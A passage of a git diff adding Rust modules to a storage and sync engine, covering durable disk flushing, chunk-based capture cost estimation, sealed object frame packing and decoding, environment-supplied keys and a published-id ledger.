io::Result<()> { + let root = File::open(&written.root)?; + // SAFETY: the descriptor is open for the whole call. + match unsafe { libc::syncfs(root.as_raw_fd()) } { + 0 => Ok(()), + _ => Err(io::Error::last_os_error()), + } + } +} + +#[cfg(not(target_os = "linux"))] +mod platform { + use super::*; + use std::os::fd::AsRawFd; + use std::path::Path; + + /// A plain `fsync` on these systems hands the data to the drive without + /// waiting for the drive's cache, which is cheap, and one full flush of + /// the root afterwards (`File::sync_all` is `F_FULLFSYNC` on macOS) + /// makes the drive persist everything handed to it before. + pub fn flush(written: &Written) -> io::Result<()> { + for path in written.files.iter().chain(&written.directories) { + hand_to_drive(path)?; + } + File::open(&written.root)?.sync_all() + } + + fn hand_to_drive(path: &Path) -> io::Result<()> { + let file = File::open(path)?; + // SAFETY: the descriptor is open for the whole call. + match unsafe { libc::fsync(file.as_raw_fd()) } { + 0 => Ok(()), + _ => Err(io::Error::last_os_error()), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::fs; + + fn batch(root: &std::path::Path) -> Written { + let file = root.join("dir/a.txt"); + fs::create_dir_all(file.parent().unwrap()).unwrap(); + fs::write(&file, b"x").unwrap(); + Written { + root: root.to_owned(), + directories: vec![root.join("dir"), root.to_owned()], + files: vec![file], + } + } + + #[test] + fn a_written_batch_is_made_durable_by_the_platform_step() { + let temp = tempfile::tempdir().unwrap(); + batch(temp.path()).make_durable().unwrap(); + } + + #[test] + fn a_batch_naming_a_file_that_is_gone_is_an_error_where_each_path_is_synced() { + let temp = tempfile::tempdir().unwrap(); + let mut written = batch(temp.path()); + written.files.push(temp.path().join("missing")); + let result = written.make_durable(); + // Linux flushes the whole filesystem and names no path; the other + // platforms hand each named path to the drive, so a vanished one fails. + assert_eq!(result.is_err(), !cfg!(target_os = "linux")); + } +} diff --git a/engine/furrow-core/src/estimate.rs b/engine/furrow-core/src/estimate.rs new file mode 100644 index 0000000000..ab9bb2ed8d --- /dev/null +++ b/engine/furrow-core/src/estimate.rs @@ -0,0 +1,212 @@ +//! Policy-aware, disk-backed onboarding cost estimation. + +use crate::chunker::ChunkStream; +use crate::model::ObjectKind; +use crate::policy::CapturePolicy; +use crate::store::{object_id, ObjectStore}; +use anyhow::Context; +use rusqlite::{params, Connection, Transaction}; +use serde::Serialize; +use std::fs::{self, File, ReadDir}; +use std::io::BufReader; +use std::os::unix::ffi::OsStrExt; +use std::os::unix::fs::MetadataExt; +use std::path::{Path, PathBuf}; + +const MAX_DEPTH: usize = 1_024; + +#[derive(Debug, Clone, Serialize)] +pub struct CaptureEstimate { + pub files: u64, + pub directories: u64, + pub symlinks: u64, + pub special_entries: u64, + pub excluded_subtrees: u64, + pub policy_rules: usize, + pub logical_bytes: u64, + pub physical_bytes: u64, + pub unique_chunks: u64, + pub deduplicated_chunk_bytes: u64, + pub projected_new_chunk_bytes: u64, +} + +pub fn calculate(root: &Path, store: &ObjectStore) -> anyhow::Result { + let root = root.canonicalize()?; + let policy = CapturePolicy::load(&root)?; + let database = tempfile::NamedTempFile::new()?; + let mut connection = Connection::open(database.path())?; + connection.execute_batch( + "PRAGMA journal_mode=OFF; + PRAGMA synchronous=OFF; + PRAGMA temp_store=FILE; + CREATE TABLE chunks ( + id BLOB PRIMARY KEY, + len INTEGER NOT NULL, + present INTEGER NOT NULL + ) WITHOUT ROWID;", + )?; + let transaction = connection.transaction()?; + let mut estimate = CaptureEstimate { + files: 0, + directories: 1, + symlinks: 0, + special_entries: 0, + excluded_subtrees: 0, + policy_rules: policy.rules().count(), + logical_bytes: 0, + physical_bytes: 0, + unique_chunks: 0, + deduplicated_chunk_bytes: 0, + projected_new_chunk_bytes: 0, + }; + let mut stack = vec![Frame::open(root.clone())?]; + let mut savepoint = 0_u64; + while !stack.is_empty() { + let next = stack.last_mut().expect("stack is not empty").entries.next(); + let Some(entry) = next else { + stack.pop(); + continue; + }; + let entry = entry?; + let path = entry.path(); + let relative = path.strip_prefix(&root)?.as_os_str().as_bytes(); + if relative == b".furrow/workspace-id" { + continue; + } + if policy.excludes_bytes(relative) { + estimate.excluded_subtrees = estimate.excluded_subtrees.saturating_add(1); + continue; + } + let metadata = fs::symlink_metadata(&path)?; + let file_type = metadata.file_type(); + if file_type.is_dir() && !file_type.is_symlink() { + estimate.directories = estimate.directories.saturating_add(1); + anyhow::ensure!(stack.len() < MAX_DEPTH, "workspace tree exceeds safe depth"); + stack.push(Frame::open(path)?); + } else if file_type.is_file() { + let usage = estimate_file(&transaction, store, &path, &mut savepoint)?; + estimate.files = estimate.files.saturating_add(1); + estimate.logical_bytes = estimate.logical_bytes.saturating_add(usage.logical_bytes); + estimate.physical_bytes = estimate.physical_bytes.saturating_add(usage.physical_bytes); + } else if file_type.is_symlink() { + estimate.symlinks = estimate.symlinks.saturating_add(1); + } else { + estimate.special_entries = estimate.special_entries.saturating_add(1); + } + } + transaction.commit()?; + let (unique_chunks, deduplicated, projected): (i64, i64, i64) = connection.query_row( + "SELECT COUNT(*), + COALESCE(SUM(CASE WHEN present = 1 THEN len ELSE 0 END), 0), + COALESCE(SUM(CASE WHEN present = 0 THEN len ELSE 0 END), 0) + FROM chunks", + [], + |row| Ok((row.get(0)?, row.get(1)?, row.get(2)?)), + )?; + estimate.unique_chunks = unique_chunks as u64; + estimate.deduplicated_chunk_bytes = deduplicated as u64; + estimate.projected_new_chunk_bytes = projected as u64; + Ok(estimate) +} + +struct Frame { + entries: ReadDir, +} + +impl Frame { + fn open(path: PathBuf) -> anyhow::Result { + Ok(Self { + entries: fs::read_dir(path)?, + }) + } +} + +struct FileUsage { + logical_bytes: u64, + physical_bytes: u64, +} + +fn estimate_file( + transaction: &Transaction<'_>, + store: &ObjectStore, + path: &Path, + sequence: &mut u64, +) -> anyhow::Result { + for _ in 0..3 { + *sequence = sequence.saturating_add(1); + let savepoint = format!("file_{}", *sequence); + transaction.execute_batch(&format!("SAVEPOINT {savepoint}"))?; + let file = File::open(path).with_context(|| format!("open {}", path.display()))?; + let before = file.metadata()?; + let mut stream = ChunkStream::new(BufReader::with_capacity(256 * 1024, file)); + while let Some(chunk) = stream.next_chunk()? { + let id = object_id(ObjectKind::Chunk, &chunk); + let inserted = transaction.execute( + "INSERT OR IGNORE INTO chunks(id, len, present) VALUES(?1, ?2, 0)", + params![id.as_slice(), chunk.len() as i64], + )?; + if inserted != 0 && store.contains_object(&id)? { + transaction.execute( + "UPDATE chunks SET present = 1 WHERE id = ?1", + params![id.as_slice()], + )?; + } + } + let after = fs::metadata(path)?; + if stable(&before, &after) { + transaction.execute_batch(&format!("RELEASE {savepoint}"))?; + return Ok(FileUsage { + logical_bytes: after.len(), + physical_bytes: after.blocks().saturating_mul(512), + }); + } + transaction.execute_batch(&format!("ROLLBACK TO {savepoint}; RELEASE {savepoint}"))?; + } + anyhow::bail!( + "file changed repeatedly while estimating: {}", + path.display() + ) +} + +fn stable(before: &fs::Metadata, after: &fs::Metadata) -> bool { + before.dev() == after.dev() + && before.ino() == after.ino() + && before.len() == after.len() + && before.mtime() == after.mtime() + && before.mtime_nsec() == after.mtime_nsec() + && before.ctime() == after.ctime() + && before.ctime_nsec() == after.ctime_nsec() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn estimates_unique_and_existing_chunks_without_counting_excluded_subtrees() { + let temporary = tempfile::tempdir().unwrap(); + let root = temporary.path().join("repo"); + fs::create_dir_all(root.join("cache")).unwrap(); + fs::write(root.join("one.bin"), vec![7_u8; 80_000]).unwrap(); + fs::write(root.join("two.bin"), vec![7_u8; 80_000]).unwrap(); + fs::write(root.join("cache/ignored.bin"), vec![9_u8; 80_000]).unwrap(); + fs::write(root.join(".furrowpolicy"), b"exclude cache\n").unwrap(); + let store = ObjectStore::open(temporary.path().join("store")).unwrap(); + + let first = calculate(&root, &store).unwrap(); + assert_eq!(first.files, 3); + assert_eq!(first.excluded_subtrees, 1); + assert_eq!(first.logical_bytes, 160_014); + assert!(first.projected_new_chunk_bytes < first.logical_bytes); + assert_eq!(first.deduplicated_chunk_bytes, 0); + + let bytes = vec![7_u8; 80_000]; + let mut stream = ChunkStream::new(std::io::Cursor::new(bytes)); + while let Some(chunk) = stream.next_chunk().unwrap() { + store.put_bytes(ObjectKind::Chunk, &chunk).unwrap(); + } + let second = calculate(&root, &store).unwrap(); + assert!(second.deduplicated_chunk_bytes > 0); + assert!(second.projected_new_chunk_bytes < first.projected_new_chunk_bytes); + } +} diff --git a/engine/furrow-core/src/exchange/export.rs b/engine/furrow-core/src/exchange/export.rs new file mode 100644 index 0000000000..ca1e071a86 --- /dev/null +++ b/engine/furrow-core/src/exchange/export.rs @@ -0,0 +1,161 @@ +//! `export` and `published`: send what a store lacks, record what it has. + +use super::frame::{self, Frame, MAX_FRAME}; +use super::ledger::Ledger; +use super::survey::{survey, Object}; +use crate::model::{id_hex, ObjectId, ObjectKind}; +use crate::sealer::{CellSealer, Keys, Sealer}; +use crate::store::ObjectStore; +use anyhow::Context; +use serde::Serialize; +use std::fs; +use std::io::Write; +use std::path::{Path, PathBuf}; + +/// The size a writer closes a frame at (contract §22.6, `BulkFrame`): large +/// enough that a bulk take fetches whole megabyte-scale objects in one frame, +/// small enough that relays carry the frame whole. A save smaller than this +/// still writes one small frame, so an incremental save stays small. +pub const DEFAULT_MAX_FRAME: usize = 8 << 20; + +/// Parents before children: a taker can open an object only once it knows its +/// parent, because the sealer needs the object's kind and id, and the walk +/// from the head learns those top-down. Sending the snapshot and the trees +/// first lets a taker start importing while later frames still download. +const SEND_ORDER: [ObjectKind; 5] = [ + ObjectKind::Snapshot, + ObjectKind::Tree, + ObjectKind::Xattrs, + ObjectKind::Blob, + ObjectKind::Chunk, +]; + +pub struct ExportJob<'a> { + pub store: &'a ObjectStore, + pub keys: &'a Keys, + pub head: ObjectId, + pub ledger: &'a Ledger, + pub outbox: &'a Path, + pub max_frame: usize, +} + +#[derive(Serialize)] +pub struct FrameInfo { + pub path: PathBuf, + pub objects: usize, + pub bytes: usize, +} + +#[derive(Serialize)] +pub struct ExportReport { + pub frames: Vec, + pub head_rid: String, + pub objects: usize, + pub bytes: usize, +} + +impl ExportJob<'_> { + /// Seals every object under `head` the ledger does not list and writes + /// them to the outbox as frames. The result depends only on the store, the + /// keys and the ledger, so a repeat after a crash writes the same files. + pub fn run(&self) -> anyhow::Result { + anyhow::ensure!( + self.max_frame <= MAX_FRAME, + "max-frame is larger than the {MAX_FRAME} bytes a store accepts" + ); + let sealer = CellSealer::new(self.keys); + let unsent = self.unsent(&sealer)?; + fs::create_dir_all(self.outbox)?; + let outbox = self.outbox.canonicalize()?; + let mut frames = Vec::new(); + let sealed = unsent + .into_iter() + .map(|(kind, id)| seal_stored(&sealer, self.store, kind, &id)); + let key_id = frame::cell_key_id(&self.keys.cell_key); + frame::pack(&key_id, self.max_frame, sealed, |frame| { + frames.push(write_frame(&outbox, &frame)?); + Ok(()) + })?; + Ok(ExportReport { + head_rid: id_hex(&sealer.remote_id(ObjectKind::Snapshot, &self.head)), + objects: frames.iter().map(|info| info.objects).sum(), + bytes: frames.iter().map(|info| info.bytes).sum(), + frames, + }) + } + + /// The reachable objects whose rid the ledger lacks, in send order. + fn unsent(&self, sealer: &CellSealer) -> anyhow::Result> { + let found = survey(self.store, self.head, 1)?; + anyhow::ensure!( + found.missing.is_empty(), + "head {} is not complete in this store", + id_hex(&self.head) + ); + let sent = self.ledger.recorded()?; + let mut unsent: Vec = found + .present + .into_iter() + .filter(|(kind, id)| !sent.contains(&sealer.remote_id(*kind, id))) + .collect(); + unsent.sort_by_key(|(kind, id)| (send_rank(*kind), *id)); + Ok(unsent) + } +} + +fn send_rank(kind: ObjectKind) -> usize { + SEND_ORDER + .iter() + .position(|k| *k == kind) + .unwrap_or(SEND_ORDER.len()) +} + +fn seal_stored( + sealer: &dyn Sealer, + store: &ObjectStore, + kind: ObjectKind, + id: &ObjectId, +) -> anyhow::Result<(ObjectId, Vec)> { + sealer.seal(kind, id, &store.read_bytes(id, kind)?) +} + +/// Writes the frame under a content-derived name, invisible until complete. +fn write_frame(outbox: &Path, frame: &Frame) -> anyhow::Result { + let path = outbox.join(frame.file_name()); + let partial = path.with_extension("part"); + let mut file = fs::File::create(&partial)?; + file.write_all(&frame.bytes)?; + file.sync_all()?; + fs::rename(&partial, &path)?; + Ok(FrameInfo { + path, + objects: frame.rids.len(), + bytes: frame.bytes.len(), + }) +} + +/// Records the rids of uploaded frames in `ledger`, then deletes the frame +/// files. The ledger is written first: a crash between the two steps leaves +/// files behind, never a rid claimed for an object that was not sent. A frame +/// already deleted by an earlier attempt counts for nothing. +pub fn published(ledger: &Ledger, frames: &[PathBuf]) -> anyhow::Result { + let mut rids = Vec::new(); + let mut present = Vec::new(); + for path in frames { + match fs::read(path) { + Ok(bytes) => { + let (_, objects) = + frame::decode(&bytes).with_context(|| format!("frame {}", path.display()))?; + rids.extend(objects.iter().map(|object| object.rid)); + present.push(path); + } + Err(error) if error.kind() == std::io::ErrorKind::NotFound => {} + Err(error) => return Err(error).with_context(|| format!("read {}", path.display())), + } + } + ledger.append(&rids)?; + for path in present { + fs::remove_file(path).with_context(|| format!("delete {}", path.display()))?; + } + Ok(rids.len()) +} diff --git a/engine/furrow-core/src/exchange/fetch.rs b/engine/furrow-core/src/exchange/fetch.rs new file mode 100644 index 0000000000..701994ec14 --- /dev/null +++ b/engine/furrow-core/src/exchange/fetch.rs @@ -0,0 +1,228 @@ +//! `want` and `import`: learn what a head still needs, then accept it. + +use super::ledger::{parse_rid, Ledger}; +use super::survey::{survey, Object, Walk}; +use crate::fault; +use crate::model::{id_hex, ObjectId}; +use crate::sealer::Sealer; +use crate::store::ObjectStore; +use anyhow::Context; +use std::collections::{BTreeMap, HashSet}; +use std::fs; +use std::path::{Path, PathBuf}; + +/// The most rids one `want` names. +pub const WANT_LIMIT: usize = 1000; + +/// The rids needed next to complete `head` locally, nearest the snapshot +/// first. Empty means the head is complete. +pub fn want( + store: &ObjectStore, + sealer: &dyn Sealer, + head: ObjectId, +) -> anyhow::Result> { + let found = survey(store, head, WANT_LIMIT)?; + Ok(found + .missing + .iter() + .map(|(kind, id)| sealer.remote_id(*kind, id)) + .collect()) +} + +pub struct Import<'a> { + pub store: &'a ObjectStore, + pub sealer: &'a dyn Sealer, + pub head: ObjectId, + pub inbox: &'a Path, + /// The ledger of the store the objects came from. Whatever a store handed + /// us is by definition already in it, so it is recorded as published there + /// and the next export never sends it back. + pub ledger: &'a Ledger, +} + +/// How an import treats the inbox files its walk did not take. +#[derive(Clone, Copy, PartialEq, Eq)] +enum Leftovers { + /// An unwanted file is an error. + Refuse, + /// An unwanted file is deleted. + Delete, + /// Every file stays: the inbox may still be filling. + Keep, +} + +/// What one import call took: the objects it stored and, in primed mode, the +/// unwanted inbox files it deleted. +#[derive(Debug, Default, PartialEq, Eq)] +pub struct Taken { + pub imported: usize, + pub extras_deleted: usize, +} + +impl Import<'_> { + /// Takes every wanted file out of the inbox and returns how many it took. + /// + /// A delivered object can name children that were not wanted until it + /// arrived, so passes repeat until one takes nothing. A file that no pass + /// wanted is an error. + pub fn run(&self) -> anyhow::Result { + Ok(self.take(Leftovers::Refuse)?.imported) + } + + /// The same import with the rule a priming take needs: an inbox file no + /// pass wanted is deleted rather than an error, and the count comes back. + pub fn run_primed(&self) -> anyhow::Result { + self.take(Leftovers::Delete) + } + + /// The take for an inbox that is still filling while the frames download: + /// it stores whatever the walk wants from what has arrived and returns the + /// count. It never deletes or refuses a leftover file, because a file may + /// belong to an object whose parent has not arrived yet, and an incomplete + /// wanted set is the normal state, not an error. + pub fn run_partial(&self) -> anyhow::Result { + Ok(self.take(Leftovers::Keep)?.imported) + } + + /// One call, one batch: the catalog commits once and the active pack + /// syncs once, however many objects and passes the inbox holds, instead + /// of once per object. The files are deleted only after the batch + /// commits, so a failure mid-batch rolls the catalog back to a state with + /// no partial object and still leaves every file its next attempt wants; + /// pack bytes the rollback outruns are the store's rebuild-from-pack + /// rule's to tolerate, as the comment on `ObjectStore::batched` says. + fn take(&self, leftovers: Leftovers) -> anyhow::Result { + let mut taken = Taken::default(); + let mut stored = Vec::new(); + let files = self.inbox_files()?; + self.store.batched(|| { + let mut walk = Walk::new(self.head); + loop { + let pass = self.pass(&mut walk, &files, &mut stored)?; + if pass.is_empty() { + break; + } + self.ledger.append(&pass)?; + taken.imported += pass.len(); + } + fault::point("import.stored"); + Ok(()) + })?; + for path in stored { + fs::remove_file(&path).with_context(|| format!("delete {}", path.display()))?; + } + if leftovers != Leftovers::Keep { + taken.extras_deleted = self.settle_leftovers(leftovers == Leftovers::Delete)?; + } + Ok(taken) + } + + /// One pass: stores every inbox file for an object the walk newly found + /// missing, in rid order, and returns their rids. The walk is told what + /// each stored object names, so the next pass sees only the objects that + /// became wanted because of this one, not the whole graph again. The + /// paths of the files now safe to delete once the batch commits are added + /// to `stored`. + fn pass( + &self, + walk: &mut Walk, + files: &BTreeMap, + stored: &mut Vec, + ) -> anyhow::Result> { + let mut taken = Vec::new(); + for (rid, (kind, id)) in self.wanted(walk)? { + let Some(path) = files.get(&rid) else { + continue; + }; + let bytes = self + .store_verified(kind, &id, &rid, path) + .map_err(|error| anyhow::anyhow!("import object {}: {error:#}", id_hex(&rid)))?; + walk.expand(kind, &bytes)?; + taken.push(rid); + stored.push(path.clone()); + } + Ok(taken) + } + + /// The objects the walk newly found missing, by the rid they travel under. + fn wanted(&self, walk: &mut Walk) -> anyhow::Result> { + Ok(walk + .explore(self.store, usize::MAX)? + .missing + .into_iter() + .map(|(kind, id)| (self.sealer.remote_id(kind, &id), (kind, id))) + .collect()) + } + + /// Opens, stores and returns the verified bytes of one inbox file. + fn store_verified( + &self, + kind: crate::model::ObjectKind, + id: &ObjectId, + rid: &ObjectId, + path: &Path, + ) -> anyhow::Result> { + let sealed = fs::read(path)?; + let bytes = self.sealer.open(kind, id, rid, &sealed)?; + anyhow::ensure!( + self.store.put_bytes(kind, &bytes)? == *id, + "stored id does not match" + ); + Ok(bytes) + } + + /// Files left after the last pass are either copies of objects already + /// stored (a crash between storing and deleting) or unwanted. The copies + /// go in both modes; the unwanted ones are an error in strict mode, with + /// nothing deleted, and are deleted in primed mode, where the caller + /// already knows the inbox holds more than this head wants. + fn settle_leftovers(&self, primed: bool) -> anyhow::Result { + let leftovers = self.inbox_files()?; + if leftovers.is_empty() { + return Ok(0); + } + let held = self.held_rids()?; + let extra = |(rid, _): &(&ObjectId, &PathBuf)| !held.contains(*rid); + if !primed { + if let Some((rid, _)) = leftovers.iter().find(extra) { + anyhow::bail!( + "import object {}: not wanted for head {}", + id_hex(rid), + id_hex(&self.head) + ); + } + } + for path in leftovers.values() { + fs::remove_file(path).with_context(|| format!("delete {}", path.display()))?; + } + Ok(leftovers.iter().filter(extra).count()) + } + + fn held_rids(&self) -> anyhow::Result> { + let found = survey(self.store, self.head, usize::MAX)?; + Ok(found + .present + .iter() + .map(|(kind, id)| self.sealer.remote_id(*kind, id)) + .collect()) + } + + /// The inbox files by rid. Names starting with a dot are files still being + /// written and are left alone; any other name that is not a rid is an error. + fn inbox_files(&self) -> anyhow::Result> { + let mut files = BTreeMap::new(); + for entry in fs::read_dir(self.inbox) + .with_context(|| format!("read inbox {}", self.inbox.display()))? + { + let entry = entry?; + let name = entry.file_name().to_string_lossy().into_owned(); + if name.starts_with('.') { + continue; + } + let rid = parse_rid(&name) + .with_context(|| format!("inbox file {name} is not named by a rid"))?; + files.insert(rid, entry.path()); + } + Ok(files) + } +} diff --git a/engine/furrow-core/src/exchange/frame.rs b/engine/furrow-core/src/exchange/frame.rs new file mode 100644 index 0000000000..40bb4f4fe7 --- /dev/null +++ b/engine/furrow-core/src/exchange/frame.rs @@ -0,0 +1,225 @@ +//! The AGEF frame: sealed objects packed with a JSON header naming each one. +//! +//! ```text +//! frame = "AGEF" 0x01 ‖ u32le(header_len) ‖ header ‖ payload +//! header = {"V":1,"cell_key_id":"<32 hex>","objects":[{"rid","off","len"}, …]} +//! payload = the objects, concatenated in header order +//! ``` + +use super::ledger::parse_rid; +use crate::model::{id_hex, ObjectId}; +use anyhow::Context; +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; +use std::collections::HashSet; + +const MAGIC: &[u8; 5] = b"AGEF\x01"; +const OBJECT_MAGIC: &[u8; 5] = b"AGEO\x01"; +const VERSION: u16 = 1; +/// The store refuses a header past this size, so the engine never writes one. +pub const MAX_HEADER: usize = 1 << 20; +/// The store refuses a frame past this size. +pub const MAX_FRAME: usize = 16 << 20; + +#[derive(Serialize, Deserialize)] +struct Header { + #[serde(rename = "V")] + version: u16, + cell_key_id: String, + objects: Vec, +} + +#[derive(Serialize, Deserialize)] +struct ObjectRef { + rid: String, + off: u64, + len: u32, +} + +/// One sealed object as a frame carries it. +pub struct Sealed<'a> { + pub rid: ObjectId, + pub bytes: &'a [u8], +} + +/// A finished frame and the rids it holds, in frame order. +pub struct Frame { + pub bytes: Vec, + pub rids: Vec, +} + +impl Frame { + /// A name that depends only on the content, so a re-export overwrites the + /// frame it repeats instead of leaving a second copy. + pub fn file_name(&self) -> String { + format!("{}.agef", blake3::hash(&self.bytes).to_hex()) + } +} + +/// The id a frame gives its cell key: the first 16 bytes of SHA-256, in hex. +pub fn cell_key_id(cell_key: &[u8; 32]) -> String { + hex::encode(&Sha256::digest(cell_key)[..16]) +} + +/// Packs `objects` into frames of at most `max_frame` bytes, handing each +/// finished frame to `emit`. An object that cannot fit any frame gets its own. +pub fn pack( + cell_key_id: &str, + max_frame: usize, + objects: impl Iterator)>>, + mut emit: impl FnMut(Frame) -> anyhow::Result<()>, +) -> anyhow::Result<()> { + let mut pending = Pending::new(cell_key_id, max_frame); + for object in objects { + let (rid, sealed) = object?; + if !pending.fits(&rid, sealed.len()) { + emit(pending.finish()?)?; + pending = Pending::new(cell_key_id, max_frame); + } + pending.push(rid, &sealed); + } + if !pending.is_empty() { + emit(pending.finish()?)?; + } + Ok(()) +} + +struct Pending<'a> { + cell_key_id: &'a str, + max_frame: usize, + header_len: usize, + refs: Vec, + rids: Vec, + payload: Vec, +} + +impl<'a> Pending<'a> { + fn new(cell_key_id: &'a str, max_frame: usize) -> Self { + let empty = Header { + version: VERSION, + cell_key_id: cell_key_id.to_owned(), + objects: Vec::new(), + }; + Self { + cell_key_id, + max_frame, + header_len: encoded_len(&empty), + refs: Vec::new(), + rids: Vec::new(), + payload: Vec::new(), + } + } + + fn is_empty(&self) -> bool { + self.refs.is_empty() + } + + fn reference(&self, rid: &ObjectId, len: usize) -> ObjectRef { + ObjectRef { + rid: id_hex(rid), + off: self.payload.len() as u64, + len: len as u32, + } + } + + /// True when adding the object keeps the frame within `max_frame`; the + /// first object of a frame always fits. + fn fits(&self, rid: &ObjectId, len: usize) -> bool { + if self.is_empty() { + return true; + } + let comma = 1; + let entry = encoded_len(&self.reference(rid, len)); + let grown = MAGIC.len() + 4 + self.header_len + comma + entry + self.payload.len() + len; + grown <= self.max_frame + } + + fn push(&mut self, rid: ObjectId, sealed: &[u8]) { + let entry = self.reference(&rid, sealed.len()); + self.header_len += encoded_len(&entry) + usize::from(!self.is_empty()); + self.refs.push(entry); + self.rids.push(rid); + self.payload.extend_from_slice(sealed); + } + + fn finish(self) -> anyhow::Result { + let header = serde_json::to_vec(&Header { + version: VERSION, + cell_key_id: self.cell_key_id.to_owned(), + objects: self.refs, + })?; + anyhow::ensure!(header.len() <= MAX_HEADER, "frame header is too large"); + let mut bytes = Vec::with_capacity(MAGIC.len() + 4 + header.len() + self.payload.len()); + bytes.extend_from_slice(MAGIC); + bytes.extend_from_slice(&(header.len() as u32).to_le_bytes()); + bytes.extend_from_slice(&header); + bytes.extend_from_slice(&self.payload); + Ok(Frame { + bytes, + rids: self.rids, + }) + } +} + +fn encoded_len(value: &impl Serialize) -> usize { + serde_json::to_vec(value).map_or(0, |bytes| bytes.len()) +} + +/// Splits a frame into its objects, refusing anything the store would refuse. +pub fn decode(frame: &[u8]) -> anyhow::Result<(String, Vec>)> { + anyhow::ensure!( + frame.len() <= MAX_FRAME, + "frame is larger than the store allows" + ); + anyhow::ensure!(frame.starts_with(MAGIC), "not a frame: bad magic"); + let rest = &frame[MAGIC.len()..]; + let (length, rest) = rest.split_at_checked(4).context("frame is truncated")?; + let header_len = u32::from_le_bytes(length.try_into()?) as usize; + anyhow::ensure!(header_len <= MAX_HEADER, "frame header is too large"); + let (header, payload) = rest + .split_at_checked(header_len) + .context("frame is truncated")?; + let header: Header = serde_json::from_slice(header).context("frame header")?; + anyhow::ensure!(header.version == VERSION, "unsupported frame version"); + anyhow::ensure!( + is_key_id(&header.cell_key_id), + "frame cell_key_id is malformed" + ); + let objects = objects_of(&header.objects, payload)?; + Ok((header.cell_key_id, objects)) +} + +fn is_key_id(text: &str) -> bool { + text.len() == 32 + && text + .bytes() + .all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b)) +} + +fn objects_of<'a>(refs: &[ObjectRef], payload: &'a [u8]) -> anyhow::Result>> { + anyhow::ensure!(!refs.is_empty(), "frame holds no objects"); + let mut seen = HashSet::new(); + let mut expected = 0_u64; + let mut objects = Vec::with_capacity(refs.len()); + for entry in refs { + anyhow::ensure!(entry.off == expected, "frame objects are not contiguous"); + let rid = parse_rid(&entry.rid).context("frame holds a malformed rid")?; + anyhow::ensure!(seen.insert(rid), "frame repeats rid {}", entry.rid); + let end = expected + u64::from(entry.len); + let bytes = payload + .get(expected as usize..end as usize) + .context("frame objects overrun the payload")?; + anyhow::ensure!( + bytes.starts_with(OBJECT_MAGIC), + "frame object {} is not sealed", + entry.rid + ); + objects.push(Sealed { rid, bytes }); + expected = end; + } + anyhow::ensure!( + expected == payload.len() as u64, + "frame payload has trailing bytes" + ); + Ok(objects) +} diff --git a/engine/furrow-core/src/exchange/keys.rs b/engine/furrow-core/src/exchange/keys.rs new file mode 100644 index 0000000000..613a8eb135 --- /dev/null +++ b/engine/furrow-core/src/exchange/keys.rs @@ -0,0 +1,35 @@ +//! Where the identity's secrets come from: the process environment only. + +use crate::sealer::Keys; +use anyhow::Context; +use zeroize::Zeroizing; + +pub const CELL_KEY_VAR: &str = "FURROW_CELL_KEY"; +pub const DEDUP_VAR: &str = "FURROW_DEDUP_SECRET"; + +/// Reads both secrets through `lookup`, so a caller decides where the +/// environment is. Errors name the variable and never repeat its value. +pub fn keys_from(lookup: impl Fn(&str) -> Option) -> anyhow::Result { + Ok(Keys { + cell_key: parse_secret(CELL_KEY_VAR, lookup(CELL_KEY_VAR))?, + dedup: parse_secret(DEDUP_VAR, lookup(DEDUP_VAR))?, + }) +} + +pub fn keys_from_env() -> anyhow::Result { + keys_from(|name| std::env::var(name).ok()) +} + +/// One secret in its 64-hex spelling. `name` is how the caller knows the value +/// (a variable or a JSON field); it is the only thing an error repeats. +pub fn parse_secret(name: &str, value: Option) -> anyhow::Result<[u8; 32]> { + let text = Zeroizing::new(value.with_context(|| format!("{name} is not set"))?); + let bytes = Zeroizing::new( + hex::decode(text.as_bytes()) + .ok() + .with_context(|| format!("{name} must be 64 hexadecimal characters"))?, + ); + <[u8; 32]>::try_from(bytes.as_slice()) + .ok() + .with_context(|| format!("{name} must be 64 hexadecimal characters")) +} diff --git a/engine/furrow-core/src/exchange/ledger.rs b/engine/furrow-core/src/exchange/ledger.rs new file mode 100644 index 0000000000..fdf4079991 --- /dev/null +++ b/engine/furrow-core/src/exchange/ledger.rs @@ -0,0 +1,81 @@ +//! The per-store ledger of remote ids already published to one store. +//! +//! One rid per line, append-only and fsynced. A ledger is named by the caller +//! (a digest of the store's URL and the identity), so a new or wiped store gets +//! an empty ledger and the next export sends everything again. + +use crate::model::{id_hex, ObjectId}; +use anyhow::Context; +use std::collections::HashSet; +use std::fs::{self, OpenOptions}; +use std::io::Write; +use std::path::{Path, PathBuf}; + +const NAME_LEN: usize = 16; + +pub struct Ledger { + path: PathBuf, +} + +impl Ledger { + /// The ledger `name` in `data_dir`, or an error when `name` is not 16 + /// lowercase hex characters. + pub fn named(data_dir: &Path, name: &str) -> anyhow::Result { + anyhow::ensure!( + name.len() == NAME_LEN && name.bytes().all(is_lower_hex), + "ledger must be {NAME_LEN} lowercase hexadecimal characters" + ); + Ok(Self { + path: data_dir.join(format!("published.{name}")), + }) + } + + /// Every rid recorded so far. A torn or garbled line only means one rid is + /// sent again, which the store accepts idempotently, so it is skipped. + pub fn recorded(&self) -> anyhow::Result> { + let text = match fs::read_to_string(&self.path) { + Ok(text) => text, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => String::new(), + Err(error) => return Err(error).context("read ledger"), + }; + Ok(text.lines().filter_map(parse_rid).collect()) + } + + /// Appends `rids` and syncs them to disk before returning. + pub fn append(&self, rids: &[ObjectId]) -> anyhow::Result<()> { + if rids.is_empty() { + return Ok(()); + } + let lines: String = rids.iter().map(|rid| id_hex(rid) + "\n").collect(); + let mut file = OpenOptions::new() + .create(true) + .append(true) + .open(&self.path) + .context("open ledger")?; + file.write_all(lines.as_bytes())?; + file.sync_all().context("sync ledger")?; + self.sync_directory() + } + + /// A new ledger file is only durable once its directory entry is. + fn sync_directory(&self) -> anyhow::Result<()> { + let parent = self.path.parent().context("ledger has no directory")?; + fs::File::open(parent)? + .sync_all() + .context("sync ledger directory") + } +} + +fn is_lower_hex(byte: u8) -> bool { + byte.is_ascii_digit() || (b'a'..=b'f').contains(&byte) +} + +/// A rid in its canonical spelling: 64 lowercase hex characters. +pub fn parse_rid(text: &str) -> Option { + if text.len() != 64 || !text.bytes().all(is_lower_hex) { + return None; + } + let mut rid = [0; 32]; + hex::decode_to_slice(text, &mut rid).ok()?; + Some(rid) +} diff --git a/engine/furrow-core/src/exchange/materialize.rs 